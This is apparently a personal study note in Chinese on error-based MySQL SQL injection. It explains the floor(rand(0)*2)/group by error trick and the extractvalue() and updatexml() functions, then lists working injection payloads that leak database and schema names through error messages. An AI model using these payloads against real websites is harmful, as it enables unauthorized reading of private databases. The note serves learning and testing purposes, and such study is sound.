一、原理
1.1 使用位置
一般是在页面没有显示位、但用echo mysql_error();输出了错误信息
限制:不能用group_concat(),只能用limit依次猜解
1.2 相关函数
floor()
1、floor()
floor()是取整数
rand()在0和1之间产生一个随机数
rand(0)*2将取0到2的随机数
floor(rand()*2)有两条记录就会报错
floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的
count(*)是用来统计结果的,相当于刷新一次结果
group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(*)加1
在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次
经典语句:(菜鸡我不常用这条语句)
and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
extractvalue() 与 updataxml()
2、extractvalue() 与 updataxml()
extractvalue()函数解释:
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
updataxml()函数解释:
第一个参数是目标是针对于xml文档
第二参数是xpath的表达
第三个参数是将xpath表达式转换成什么,也就是替换查找到的符合条件的数据
1' and extractvalue(null,concat(0x7e,(database()),0x7e))
1' and extractvalue(null,concat(0x7e,(select database()),0x7e))
1' and extractvalue(null,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))--+
1' and updatexml(1,concat(0x7e,(database())),1)--+
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)--+
写这些主要是记录些东西,不好勿怪哈!!!